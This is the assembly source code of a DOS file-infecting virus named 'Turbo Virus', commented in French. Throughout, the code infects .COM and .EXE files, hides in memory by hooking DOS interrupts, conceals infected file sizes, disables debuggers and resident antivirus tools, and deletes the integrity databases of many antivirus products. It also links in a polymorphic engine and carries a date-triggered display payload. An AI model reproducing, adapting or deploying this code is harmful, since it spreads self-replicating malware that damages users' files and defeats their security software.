;====================== Turbo Virus ================================ ;====================== Prevu pour etre compil‚ avec org 0 ========= ;=== En ce ki concerne la pile ne pas oublier ke d'autres prog s'en serve ;=== ne pas la baisser de trop. ;=== NOTE: Le virus doit mettre moins de TimeMin a s'executer sinon gare au ;=== jump de retour en resident!!! ;=== ATTENTION pour une raison plus ou moins inconnue ne pas baisser ;=== TimeMin de trop sinon ca devient *TRES* instable sous WinDaube(tm) ;=== Attention aux ASSUME, les variables seront adresses par SS c'est plus ;=== simple et moins long, BP sert donc d'index. ;========================= Constantes Diverses et variees MemSign EQU 236h ;Adresse de la Signature r‚sidente MarkMem EQU 0DEh ;Signature r‚sidante NellInt EQU 0D4h ;Interruption abritant l'int 21h MyStackSize EQU 100 ;Taille de la pile TimeMin EQU 100 ;Temps Mini en ticks ;===================== Turbo Virus 6.15 .186 jumps locals ;===================== Segment de Code TVir Segment Org 0 Assume cs:TVir, ds:TVir, ss:TVir, es:Nothing Start: V_Start: ;======== Label pour l'engine: Debut du fichier recopie ;======== (pour calcul de taille) decrypt: ;======== Label pour l'engine: Decrypteur jmp file_start org decrypt + 200 header dw 8h / 2 dup(9090h) File_Start: ;======== Label pour l'engine: Debut du cryptage ;====== Initialisation de bp Decal: mov bp,0 ;============= Mise en place d'une pile potable !!! ;============= Pour les .EXE unikement cmp bp,100h jae ItsACom mov cs:TempoPile[bp],cs mov ss,cs:TempoPile[bp] lea sp,newstack[bp] ItSACom: ;=== Alloue de la memoire pour les var temporaires dans ;=== certains .EXE mov bx,es dec bx mov ds,bx mov bx,ds:[3] add bx,((offset end_of_tvir_in_mem-offset End_of_tvir)/16)+1 mov ah,4ah int 21h ;=========================================================================== ;============================ PROGRAMME PRINCIPAL ========================== ;=========================================================================== ;======================= Routine de d‚marrage: Arrivee des fichiers ;================== Init de recurse pour kan le vir est ;================== deja en memoire mov recurse[bp],0 ;== Ne VRAIMENT pas toucher !!! MyInterruptEntryPoint: ;======== Setting de ds=cs push cs pop ds ;========= Pr‚paration anti d‚buggage push 4 push 2 ;=========== Sauvegarde de es pour bidouille m‚moire mov startes[bp],es ;========== Incr‚mentation des chaines cld ;======== Sauvegarde du jump de retour Call Savejump ;=========================================================================== ;============================= MISE EN RESIDENT (STEALTH) ================== ;============================= DS=0 ;=========================================================================== push 0 pop ds ;=== Nikage de l'int 03h&01h sp‚cial Debugeur pop cx pop bx nodebug: xchg word ptr ds:[bx+2],dx add bx,8 loop nodebug ;==== D‚ja en m‚moire ? cmp byte ptr ds:[MemSign],MarkMem je inmemend ;=== verif pour TBDriver (teste avec v6.26, 6.25 (386), 6.30) mov al,20h Call Getint mov di, NbrMem*2 NextMem: sub di,2 mov si, ListMem[bp+di] cmp byte ptr es:[si],0EAh jne clean1 mov bx,word ptr es:[si+1] mov ax,word ptr es:[si+3] jmp allClean clean1: or di,di jnz NextMem ;=============== Stockage nouvelle interruption 21h mov al,21h Call GetInt mov ax,es AllClean: mov word ptr ds:[NellInt*4],bx mov word ptr ds:[nellint*4+2],ax ;============== Ecriture fu jmp far to dos mov word ptr cs:[originalInt21+1],bx mov word ptr cs:[originalInt21+3],ax ;======== D‚sallocation de la m‚moire ;==== Sauvegarde taille du bloc original mov ax,startes[bp] dec ax mov es,ax mov ax,es:[3] mov Dummy[bp], ax ;======= Calcul taille de d‚sallocation mov ax,startes[bp] push cs pop bx sub bx,ax lea dx,End_Of_tvir_In_Mem[bp+15] shr dx,4 add bx,dx inc bx mov ah,4ah mov es,startes[bp] int 21h ;========= Allocation d'un bloc de m‚moire pour stocker le virus ;========= JE VEUX LES UMBs !!!! mov ax,5803h mov bx,1 int 21h mov bx,0000000010000001b ;Meilleur bloc dans les UMBs TryAnotherAlloc: push bx mov ax,5801h int 21h mov bx,Offset End_Of_Tvir_In_Mem+15 shr bx,4 inc bx mov ah,48h int 21h pop bx jnc AllocIsGood cmp bx,0000000000000010b je FastExit mov bx,0000000000000010b ;last fit in low mem yo man !!!! jmp TryAnotherAlloc AllocIsGood: push bx ;===== Sauvegarde de la taille allou‚e push ax ;===== Segment allou‚. ;========= JE VEUX PLUS LES UMBs !!!! mov ax,5803h xor bx,bx int 21h ;====== Marquage de la m‚moire mov byte ptr ds:[MemSign],MarkMem ;=================== Initialisation des variables r‚sidentes ;=================== Recurse deja initilise mov counter[bp],0 mov counter2[bp],0 mov UltraStealth[bp],0 mov Infectious[bp],0 mov ah,2ah int 21h ;= date ? test dh,1 ;= Mois jnz NoDeclench test al,1 ;= Jour jz Nodeclench or counter2[bp],10000000b Nodeclench: ;======== Recopie du virus a sa nouvelle place push cs pop ds pop ax push ax mov si,bp mov es,ax xor di,di mov cx,offset end_of_tvir_in_mem rep movsb ;======= Sauvegarde int 1Ch mov al,1Ch Call GetInt ;======= Ecriture des adresses dans la partie r‚sidente pop ds ;int 1Ch mov word ptr ds:[offset Int1CAddr+1],bx mov word ptr ds:[offset Int1CAddr+3],es ;====== Jmp de retour mov word Ptr ds:[offset ReturnFromTsr+1],offset int21go ;===== Set Int 21h & int 1Ch & Int 20h & int 27h mov al,21h mov dx,offset myint21entrypoint Call SetInt mov al,1Ch mov dx,offset myint1C Call SetInt mov al,20h mov dx,offset myint20 Call SetInt mov al,27h mov dx,offset myint27 Call SetInt ;==== Reallocation pop dx inc dx mov ah,4ah mov bx,Dummy[bp] sub bx,dx mov es,StartEs[bp] int NellInt mov cx,0DEADh inmemend: ;================= Setting DS=CS push cs pop ds ;==== Remise en marche de la strat‚gie normale mov ax,5801h xor bx,bx int NellInt ;=========================================================================== ;============================= INIT DIVERSES ET VARIEES ==================== ;============================= DS doit etre egal … CS ==================== ;=========================================================================== cmp cx,0DEADh ;= Vient d'etre insatll‚ ? je nolaunch ;= Oui ? recherchge de comspec cmp recurse[bp],0 ;= Non ? si pas resident, on se casse je Fastexit nomem: ;==== Kickage du module r‚sident de MSAV et CPAV !!! mov ax,0FA02h mov dx,5945h mov bl,0 int 16h mov OldVsafe,cl ;======= D‚termination de l'adresse de la DTA Mov ah,2Fh int NellInt mov DtaOfs,bx mov DtaSeg,es ;====== Set New Dta mov dx,offset MyDta Mov ah,1Ah int NellInt ;====== Sauvegarde du r‚pertoire courant mov ah,47h xor dl,dl mov si,offset orgdir int NellInt ;======== Sauvegarde du handler critique mov al,24h Call GetInt mov int24o,bx mov int24s,es ;========= Setting de mon handler a moi mov al,24h mov dx,offset MyInt24 Call SetInt push ds mov dx,Dummy2 mov ds,Dummy push ds push dx ;=================== Recherche du backslash de fin Call BackSearch xchg si,dx push cs pop es ;===================== Copie du path dans le buffer mov di,offset DBVDir mov cx,dx sub cx,si rep movsb mov al,0 stosb ;==================== On va dans le repertoire du programme push cs pop ds mov dx,offset DBVDir Call SetRep pop dx pop ds Jmp Launch ;======================================================================== ;==================== RECHERCHE DE COMSPEC ============================== ;======================================================================== NoLaunch: ;======= Recherche de COMSPEC mov es,StartES[bp] mov ax,Word Ptr es:[2Ch] mov es,ax xor di,di gato1: mov cx,500 mov al,'C' ;===== Recherche du C repne scasb jcxz No_Infection_2 mov cx,7 lea si,comspec[bp] repe cmpsb jcxz found jmp gato1 found: ;=== Compspec trouve push ds push es pop ds xchg dx,di mov ax,3D00h int 21h ;======= Doit etre l'int 21h originale xchg bx,ax Mov ah,3Eh int 21h pop ds jmp FastExit ;======================================================================== ;==================== DISPATCHEUR RESIDENT ============================== ;==================== WARNING : DS<> CS ============================== ;======================================================================== Launch: Call ChkName jc @St Call Setatt jc protected ;= Support protege contre l'‚criture ? ;================= Ouverture mov ax,3D00h int NellInt mov handle[bp],ax Call Set_Sft mov word ptr es:[di+2],42h pop ds mov cx,NbrFI*2+1 push cx jmp DirectHit protected: pop ds jmp OneAgain ;= Oui, on en prend un dans le repertoire ;= courant @St: pop ds cmp buf,0AAh ;==== Open ou exec ? jne OneAgain inc UltraStealth ;====== Mode UltraStalth (tm) ON mov buf,0 ;====== car exec ;=========================================================================== ;============================= PROCESSUS DE RECHERCHE ====================== ;============================= DS doit etre egal … CS ====================== ;=========================================================================== OneAgain: ;======== Processus de recherche mov cx,NbrFI*2 ;= CX=Nbr de fichier a recherche*2 NextFI: sub cx,2 mov bx,offset TABLEFI add bx,cx mov dx,[bx] push cx ;======= Recherche fichiers mov ah,4Eh mov cx,00000111b ;Tout les types de fichiers int NellInt jc KeFaire LetsGo: ;======== Chargement du nom mov dx,offset MyDta+30 ;=========== teste pour le type de fichier Call CHkNAme jc Get_Another_2 ;========== Setting attribut et verif de la protection en ecriture Call Setatt jc No_Infection_3 ;=== Support prot‚g‚ contre l'‚criture ;======== On a trouve un fichier, on l'ouvre mov ax,3D00h int NellInt mov handle,ax Call Set_SFT mov word ptr es:[di+2],42h DirectHit: ;===== Arrivee d'une attak residente ;================ Signature ? mov ax,5700h mov bx,handle int NellInt Call IsInfect jc Get_Another ;========================== Lecture du header mov dx,offset buf mov cx,18h mov ah,3Fh mov bx,handle int NellInt ;=========================== Detection du type de fichier cmp word ptr buf,'ZM' je ExeVerif cmp word ptr buf,'MZ' je ExeVerif jmp ComVerif KeFaire: ;========= Eh oui que faire ? pop cx or cx,cx jnz NextFI ;========= Visite du r‚pertoire parent mov dx,offset father Call SetRep jc No_infection_2 jmp OneAgain Get_Another: ;========== Ferme fichier pas bon Mov ah,3Eh mov bx,handle int NellInt Get_Another_2: ;========== Recherche prochaine occurence pop cx cmp cx,NbrFi*2+1 je OneAgain push cx mov ah,4Fh int NellInt jc Kefaire jmp LetsGo No_Infection_3: pop cx No_Infection_2: jmp exit ;======================================================================== ;=========================== COM =================================== ;======================================================================== ComVerif: ;=========== Verif pour Jump cmp buf,0E9h jne Get_Another ;=========== V‚rification pour la taille Call Fin mov word ptr dummy,ax add ax,offset End_Of_Tvir+MyStackSize ;== Taille du virus+stack jc Get_Another ;=========================================================================== ;=================================== INFECTION COM ========================= ;=========================================================================== ;======= D‚termine la taille du fichier source mov ax,word ptr dummy push ax ;======= Enregistrement dynamique du d‚calage avant r‚plication add ax,100h ;===== PSP ! :) mov word ptr decal[1],ax ;===== Mise en place des variables de saut a l'ancien programme mov ax,word ptr buf[1] add ax,103h mov word ptr ReturnFromTsr[1],ax ;====== Copie du Virus xor bx,bx ;===== Pas un .EXE ;===== Ax = Size of.com+decrypteur pop ax push ax add ax,offset File_Start-Decrypt+100h ;=== PSP Call CopyVir ;====== Ecriture du nouveau Header .COM Call Debut pop ax ;= On recupere la taille sub ax,3 mov Word Ptr buf[1],ax mov cx,3 mov dx,offset buf Call Write jmp TerminateJob ;=========================================================================== ;============================= EXE ====================================== ;=========================================================================== EXEVerif: ;======== V‚rification pour la taille Call Fin push ax ;==Sauvegarde de la taille reelle push dx mov ax,512 mul Word Ptr buf[4] add ax,word ptr buf[2] adc dx,0 pop cx pop bx sub ax,bx ;======= Soustraction des 2 tailles sbb dx,cx or dx,dx jnz Get_Another ;============================================================================= ;============================ INFECTION EXE ================================== ;============================================================================= ;========= Calcul de HSize en octets mov ax,16 mul Word Ptr buf[8h] xchg bx,ax xchg cx,dx ;====== Super soustraction 32-bits EXESIZE-HSIZE sub ax,bx sbb dx,cx ;======== Calcul nouveau CS:IP mov cx,16 div cx mov Word Ptr dummy2,ax ; l… c'est CS=dummy2 mov word ptr Dummy,dx ; suffit de savoir lire ici dummy=ip ;==== Gare a l'ordre des 3 blocs qui suivent ;======== Enregistrement du d‚calage bp avant la copie mov word ptr decal[1],dx push dx ;= sauvegarde de bp pour usage ulterieur ;======== Initialisation des champ de retour avant la copie mov bx,ax sub bx,word ptr buf[16h] ;= pour cs: AX=dummy2=new cs mov word ptr BackToExe[3],bx sub ax,word ptr buf[0Eh] ;= Pour SS mov word ptr BackToExe[16],ax mov ax,word ptr buf[10h] ;= pour sp mov word ptr a1[4],ax mov ax,word ptr buf[14h] ;= Pour IP mov word ptr a1[1],ax ;======== Ecriture de SS:SP mov ax,word ptr dummy2 ;== SS special pour tbav sub ax,30h mov word ptr buf[0eh],ax mov Word Ptr buf[10h],offset NewStack+300h ;== SP pop ax ;= r‚cuperation de bp add Word ptr buf[10h],ax ;= on additione/soustrait le futur bp ;=========== Deplacement et ecriture new CS:IP mov ax,dummy mov bx,dummy2 mov word ptr buf[14h],ax mov word ptr buf[16h],bx ;======== Copie du virus mov bx,8000h ;== Signale a l'engine ke c'est un .EXE mov ax,dummy add ax,offset File_Start Call CopyVir ;======== MAJ de la taille de l'exe Call Fin mov cx,512 div cx inc ax mov word ptr buf[2],dx mov word ptr buf[4],ax ;===== Remise au d‚but du fichier source call debut mov cx,18h mov dx,offset buf Call Write ;=========================================================================== ;============================== TERMINAISON =============================== ;============================== DS doit etre = … CS ======================== ;=========================================================================== TerminateJob: ;============== Stabilisation de la pile pop cx ;========== lecture heure mov ax,5700h mov bx,handle int nellint ;========== Setting heure =hh:mm:SS mov ax,5701h and cx,1111111111100000b or cl,(3+4) int nellint ;=========== Fermeture des fichiers Mov ah,3Eh mov bx,handle int NellInt ;========== Raz de la minuterie aprŠs infection mov Counter2,0 ;=========================== On se casse kar infection rate/reussie Exit: ;======= DS doit etre egal … CS ;======= D‚struction des bases de donn‚es de certains antivirus ;======= Apr‚s infection mov cx,NbrDBV*2 ;cx=Nbr dbv*2 ProchainDBV: sub cx,2 ;======= Selection de la chaine de recherche mov bx,offset tableDBV add bx,cx mov dx,[bx] push cx ;======= Recherche de dbvx mov ah,4Eh mov cx,00000111b ;Tout les types de fichiers int NellInt jc pasdedbv ;======== RAZ de l'atribut de la cible mov dx,offset MyDta+30 Call SetAtt ;======== DESTRUCTION !!!! mov ah,41h mov dx,offset mydta+30 int NellInt pasdedbv: pop cx or cx,cx jnz ProchainDbv ;========= Restauration du r‚pertoire initial mov dx,offset root Call SetRep mov dx,offset orgdir Call SetRep ;========= Remise en fonction de l'ancien handler d'erreur mov al,24h push ds mov ds,int24s[bp] mov dx,int24o[bp] Call SetInt pop ds ;========== Raz de la Dta mov dx,DtaOfs push ds mov ds,DtaSeg[bp] Mov ah,1Ah int NellInt pop ds FastExit: ;========= V‚rification pour protection intrinseque ;========== On s'occuppe de l'innoculation CPS V2.00 des .EXE ;=== VSAFE 2 en particulier !!! ;===== pour les EXE push cs pop ax sub ax,39h mov es,ax cmp word ptr es:[0BEh],6FE8h jne CPS2 mov word ptr es:[0BEh],0FFE9h mov Byte ptr es:[0C0h],0 jmp NoInnoc CPS2: ;====== Idem pour les COM cmp Word ptr [bp-1CDh],0373h jne NoInnoc mov Word Ptr [bp-1CDh],9090h NoInnoc: ;========= Restauration des options de VSafe cmp recurse[bp],0 je @@NoVFuck mov ax,0FA02h mov dx,5945h mov bl,OldVsafe int 16h @@NoVFuck: ;========= Restauration du jump de retour Call restoreJump ;========= Restauration De ES mov es,StartES[bp] ;======== Ou Va t'on cmp recurse[bp],0 jne ReturnFromTSR cmp bp,100h jb BackToExe ;========================= Instructions de retour au programme appelant ReturnFromTSR: ;== instructions de saut pour .COM ;== ou module r‚sident Mov bx,0000 Jmp Bx EndReturnFromTsr: BackToExe: ;== Instructions de saut pour .EXE push cs pop ax sub ax,0010h ;=== Retour au dos par CD20=Int 20h mov bx,ax a1: mov cx,0000 mov dx,0000 push ss pop ax sub ax,0000 endsave: push es pop ds push ax pop ss mov sp,dx push bx push cx retf EndBackToExe: ;============================ Constantes Banzai DB '[Sodomizator/T.Power] Do you like me ?' Father DB '..',0 Root DB '\',0 ComSpec DB 'OMSPEC=' ;=========================== Fichiers recherch‚s Pour l'infection NbrFI EQU 2 TableFI DW F_Com DW F_Exe F_Com DB '*.COM',0 F_Exe DB '*.EXE',0 ;========================= Emplacements m‚moires … surveiller pour fucker ;========================= les antivir r‚sidents : jmp far to dos NbrMem EQU 6 ListMem DW 02B4H ; tbav 6.25 & 6.26 & 6.30 et + DW 028AH ; tbav 6.25(386) et + DW 0292H ; tbav 6.35 DW 0268H ; Tbav 6.35 (386) DW 020AH ; Tbav 6.35 (286&186) DW 022CH ; Tbav 6.35 (86) ;========================= Chaines contenant un certain nbr de base ;========================= de donn‚es d'antivirus NbrDBV EQU 10 TableDBV DW DBVir1 DW DBVir2 DW DBVir3 DW DBVir4 DW DBVir5 DW DBVir6 DW DBVir7 DW DBVir8 DW DBVir9 DW DBVir10 DBVir1 DB 'SMARTCHK.*',0 ; MSAV & CPAV DBVir2 DB 'CHKLIST.*',0 ; Idem DBVir3 DB 'ANTI-VIR.DAT',0 ; TBAV DBVir4 DB '*.VIR',0 ; ? G‚n‚rique DBVir5 DB 'NAV_._*',0 ; NAV 2.0 DBVir6 DB '*.IM',0 ; Integrity Master DBVir7 DB '*.NTZ',0 ; InVircible DBVir8 DB 'FI*.FF?',0 ; Salomon toolkit DBVir9 DB '*.CRC',0 ; AVP DBVir10 DB '_CHK.CHK',0 ; F-Prot Professional ;======================== Fichiers a ne pas infecter, d‚clenchement de ;======================== l'UltraStealth mode (tm) NbrHF EQU 13 TableHF DW HF1 DW HF2 DW HF3 DW HF4 DW HF5 DW HF6 DW HF7 DW HF8 DW HF9 DW HF10 DW HF11 DW HF12 DW HF13 HF1 DB 'SCAN',0 ;generique HF2 DB 'F-',0 ;f-prot HF3 DB 'VIR',0 ;generique HF4 DB 'VS',0 ;vshield HF5 DB 'AV',0 ;generique HF6 DB '.S',0 ;io.sys, msdos.sys HF7 DB 'BMB',0 ;ibmbio.com HF8 DB 'BMD',0 ;ibmdos.com HF9 DB 'TB',0 ;tbav HF10 DB 'IM',0 ;integrity master HF11 DB 'IV',0 ;invircible & Salomon (viverify) HF12 DB 'DECO',0 ;Test-Decoy HF13 DB 'TBSCAN.',0;Tbscan pour parametres ;========= "Correction" de la ligne de commande de TBAV :) TBAVTailFix db ' co nm',0Dh ;======================================================================== ;=========================== SOUS-PROGRAMMES ============================ ;======================================================================== CopyVir Proc Near ;======= Recopie du code du virus dans le source push bp xchg bp,bx ;===== bx octet d'atribut push cs pop es push ax ;==== ax=ip in al,21h or al,1 out 21h,al pop ax @@LoopInfect: push ax push bp Call Engine pop bp pop ax jc @@LoopInfect in al,21h and al,11111110b out 21h,al pop bp ret CopyVir endp BackSearch proc near ;===== Recherche du BackSlash mov si,dx @@SearchNull: lodsb or al,al jnz @@SearchNull std lodsw ;Si=Si-2 @@SearchBack: cmp si,dx jl @@NoSlash lodsb cmp al,'\' jne @@SearchBack @@NoSlash: cld lodsb ;==== DS:SI pointe sur le backslash ret BackSearch Endp ChkName Proc Near Call BackSearch xchg ax,si push cs pop es mov cx,NbrHF*2 Nest: mov si,ax sub cx,2 mov bx,offset TableHF add bx,cx mov di,es:[bx] mov bx,di inc di _4: dec di cmp Byte Ptr es:[di],0 je _6 mov di,bx cmp Byte Ptr [si],0 je _7 _5: cmpsb jne _4 jmp _5 _7: or cx,cx jnz nest clc ;=== Clear Carry Flag ret _6: stc ;=== Set Carry Flag, fichier non infectable ret ChkName endp savejump proc near lea si,ReturnFromTSR[bp] lea di,buf2[bp] r: push cs pop es mov cx,offset endsave-offset ReturnFromTSR rep movsb ret savejump endp restorejump proc near lea si,buf2[bp] lea di,ReturnFromTSR[bp] jmp r restorejump endp Fin Proc Near ;Mise a la fin du source mov al,02h deb: mov ah,42h mov bx,handle xor cx,cx xor dx,dx int NellInt ret Fin endp Debut Proc Near ;===== Remise au d‚but du fichier source xor al,al jmp deb Debut endp Write Proc Near ;Ecriture … partir de ds:dx de cx octet dans le source mov ah,40h mov bx,handle int NellInt ret Write endp GetInt Proc Near mov ah,35h int 21h ret GetInt endp SetInt Proc Near mov ah,25h int Nellint ret SetInt endp SetRep Proc Near mov ah,3Bh int NellInt ret SetRep endp Setatt Proc Near mov ax,4301h mov cx,0000000000100000b ; = archive int NellInt ret Setatt endp IsInfect proc near shl cl,3 cmp cl,00111000b je ouais clc ret ouais: stc ret IsInfect endp Set_sft Proc Near ;= AX=Handle push ax bx mov bx,ax mov ax,1220h int 2fh ; get DCB number address jc SFTFailed mov ax,1216h mov bl,es:[di] ; get DCB number int 2fh ; get DCB address SFTFailed: pop bx ax ret set_sft endp ;=========================================================================== ;========================= INTERRUPTIONS ================================= ;=========================================================================== ;=========================================================================== ;=========================== INT 20h ======================================= ;=========================================================================== MyInt20 Proc Far xor ax,ax jmp Terminate MyInt20 endp ;=========================================================================== ;=========================== INT 27h ======================================= ;=========================================================================== MyInt27 Proc Far mov ah,31h shr dx,4 inc dx jmp Terminate MyInt27 endp ;=========================================================================== ;=========================== INT 1Ch ======================================= ;=========================================================================== MyInt1C Proc far cmp byte ptr cs:[recurse],0 je wuite dec byte ptr cs:[recurse] wuite: cmp Word Ptr cs:[Counter2],10000101b je Zarma inc cs:[counter] jnz Int1CAddr inc cs:[counter2] Int1CAddr: db 0EAh,00,00,00,00 Zarma: pusha mov dx,03dah @@Vbl: in al,dx and al,8 jz @@Vbl mov dx,3d4h mov ax,0dh out dx,ax mov ax,10 Call Random inc dx out dx,ax popa jmp Int1CAddr MyInt1C endp ;=========================================================================== ;=========================== INT 21h ======================================= ;=========================================================================== Myint21 Proc far ;============================ Stealth FIND Stealth1: int nellint pusha pushf push es jc StealthDone Mov ah,2Fh int nellint mov cx,word ptr es:[bx+22] Call Isinfect jnc StealthDone cmp word ptr es:[bx+26],offset End_Of_Tvir ja @j1 cmp word ptr es:[bx+28],0 jna StealthDone @j1: sub word ptr es:[bx+26],offset End_Of_Tvir sbb word ptr es:[bx+28],0 cmp byte ptr cs:[offset UltraStealth],0 je StealthDone pop es popf popa mov ah,4Fh jmp stealth1 ; Tsss Tsss d‚sol‚ msieur l'antivir mais celui la est ; pas pour vous. !!! StealthDone: pop es popf popa ret 2 ;==================== Stealth FCB Stealth2: int nellint pusha pushf push es xchg bx,dx xor si,si cmp byte ptr [bx],0FFH jne fcbnorm mov si,7 fcbnorm: Mov ah,2Fh int nellint Stealth3_EP: mov cx,word ptr es:[bx+23+si] call isinfect jnc StealthDone cmp word ptr es:[bx+29+si],offset End_Of_Tvir ja @j2 cmp word ptr es:[bx+31+si],0 jna StealthDone @j2: sub word ptr es:[bx+29+si],Offset End_Of_Tvir sbb word ptr es:[bx+31+si],0 jmp StealthDone ;================================ Stealth GETSIZE Stealth3: int nellint pusha pushf push es test al,0FFH jnz StealthDone cmp byte ptr [bx],0FFH jne fcbnorm2 mov si,7 fcbnorm2: push ds pop es jmp Stealth3_EP ;=========================== DISPATCHEUR :) Myint21EntryPoint: ;==================== Fuck the AVP Tunnelling cli push bx push bp push ax pop ax mov bp,sp mov bx,[bp-2] cmp ax,bx pop bp pop bx jne Int21FarJMP ;==================== My Handler kernel cmp ah,011h je Stealth2 ;= Findfirst FCB cmp ah,012H ;== Findnext FCB je Stealth2 cmp ah,23h je Stealth3 ;==== Get FileSize FCB cmp ah,04Eh je Stealth1 ;= FindFirst Handle cmp ah,04Fh ;= FindNext handle je stealth1 cmp ah,4Ch je Terminate ;= Terminate cmp ah,31h je Terminate ;= Terminate : TSR cmp ah,00h je Terminate ;= Terminate cmp ax,4B00h ;= EXEC je GoInfect_1bis cmp cs:[offset recurse],0 ;A partir d'ici on temporise ;question de discretion jne CallDos cmp ah,3Dh ;==== Open je GoInfect_1 cmp ax,6C00h ;=== Open etendu je GoInfect_3 ;========================== Retour Au "Vrai" DOS CallDos: pusha push ds push es ;=============== Ajout des parametres sur la ligne de comande push bx cmp ax,04B00h jne NoFuckParam Call ChkName cmp cx,12*2 ;== Tbscan ?? jne NoFuckParam pop bx ;=recupere bx pop es push es ;=recupere Es lds si,es:[bx+2] ;==== ds:si Command Tail mov di,si inc di mov al,byte ptr ds:[si] cbw add di,ax add byte ptr ds:[si],6 push ds pop es push cs pop ds mov si,offset TBAVTailFix mov cx,7 rep movsb push bx NoFuckParam: pop bx ;====== OWN MCB !!! push cs pop ax dec ax mov ds,ax mov word ptr ds:[1],8 pop es pop ds popa Int21FarJMP: ;============ Sauvegarde du numero de fonction mov byte ptr cs:[buf+1],ah ;============ On Appelle le dos ! kel bordel ! push bp mov bp,sp push [bp+6] popf pop bp int NellInt ;= Call dos pushf push es pusha ;==================== Stealth SFT cmp cs:[offset UltraStealth],0 je NoSftStealth cmp cs:[buf+1],3Dh je DoSftStealth cmp cs:[buf+1],6Ch jne NoSftStealth DoSftStealth: Call Set_Sft jc NoSftStealth mov cx,word ptr es:[di+13] Call IsInfect jnc NoSftStealth cmp word ptr es:[di+17],offset End_Of_Tvir ja SftStealth cmp word ptr es:[di+19],0 je NoSftStealth SftStealth: sub word ptr es:[di+17],offset end_Of_Tvir sbb word ptr es:[di+19],0 NoSftStealth: ;================ UnOwn MCB ! push cs pop ax dec ax mov es,ax mov word ptr es:[1],0 popa pop es popf retf 2 ;===================== Terminate Terminate: cmp byte ptr cs:[offset Infectious],0 je Pif dec byte ptr cs:[offset Infectious] ;= Infectious ON Pif: cmp byte ptr cs:[offset UltraStealth],0 je Plifou dec byte ptr cs:[offset UltraStealth] ;= Ultra Stealth Mode off plifou: OriginalInt21: db 0EAh,00,00,00,00 ;= JMP FAR ;====================== GoInfect_1bis: cmp cs:[infectious],0 ;============= Systeme Anti IV-Test jne IvInProgress pusha push es Call ChkName ;========= Verification: Invicible, IVTEST cmp cx,10*2 ;========= oui, stop infection jne NoIV IVStart: pop es popa IVinProgress: inc cs:[UltraStealth] inc cs:[infectious] jmp Calldos NoIV: pop es popa mov cs:[offset buf],0AAh ;==== execution GoInfect_1: mov cs:[offset Dummy],ds mov cs:[offset Dummy2],dx jmp GoInfect GoInfect_3: mov cs:[offset Dummy],ds mov cs:[offset Dummy2],si GoInfect: cmp cs:[Infectious],0 ;=== Infection mode ON ? jne CallDos mov byte ptr cs:[offset recurse],TimeMin pusha push ds ;====== Sauvegarde et setting de la pile mov cs:[offset sss],ss ;=== le virus est prevu pour CS=SS=DS mov cs:[offset ssp],sp push cs pop ss mov sp,offset newstack mov bp,0 jmp MyInterruptEntryPoint int21go: ;===== On revient ici apres le virus ;===== remise en etat de la pile cli push cs:[offset sss] pop ss mov sp,cs:[offset ssp] pop ds popa jmp CallDos ;retour au dos normal Myint21 endp ;=========================================================================== ;=========================== INT 24h ======================================= ;=========================================================================== MyInt24 proc far mov al,3 iret MyInt24 endp ;=========================================================================== ;=========================== Natas Virus Polymorphic Engine ================ ;=========================================================================== include eng.asm ;=================================== Fin du Code du Turbo Virus ;=================================== Ce k'il y a jusk'ici est recopi‚ ;=================================== dans les fichiers infectes ;====== Variable a deux francs ;) TempoPile dw ? EVEN file_end: End_Of_Tvir: ;=================================== Variables temporaires ;=================================== Perdues lors de la recopie ;=================================== Donc attention a ce kon met ici !!! file_size equ file_end - v_start pointer dw ? disp dw ? encode_ptr dw ? encode_enc_ptr dw ? key_reg db ? count_reg db ? ptr_reg db ? ptr_reg1 db ? modify_op db ? write_buff: db encode_end-encode dup(?) o1 dw ? o2 dw ? c db ? ;=========================================================================== ;=========================== Polymorphic End =============================== ;=========================================================================== ;========================= Variables DtaOfs DW ? DtaSeg DW ? Handle DW ? int24o DW ? int24s DW ? StartES DW ? sss DW ? ;======== Sauvegarde de la pile pour le resident ssp DW ? Dummy DW ? Dummy2 DW ? Buf DB 18h dup (?) ;== utiliser pour sauver le header des .EXE Recurse DB ? UltraStealth DB ? Infectious DB ? Counter DW ? Counter2 DB ? OldVSafe DB ? ;== vieilles options de VSafe ;=========================== Buffer de sauvegarde pour le jmp de retour Buf2 DB (offset endsave-offset ReturnFromTsr) dup (?) ;========================= DTA et Pile … moi tout seul MyDta DB 43 dup (?) DB MyStackSize Dup (0) NewStack: ;=== d‚part de Ma pile a moi tout seul ;============== Aire de stockage divers, repertoire de depart OrgDir DB 40 Dup (?) DBVDir DB 40 Dup (?) End_Of_Tvir_In_Mem: ;================================== Fin Totale TVir ends end Start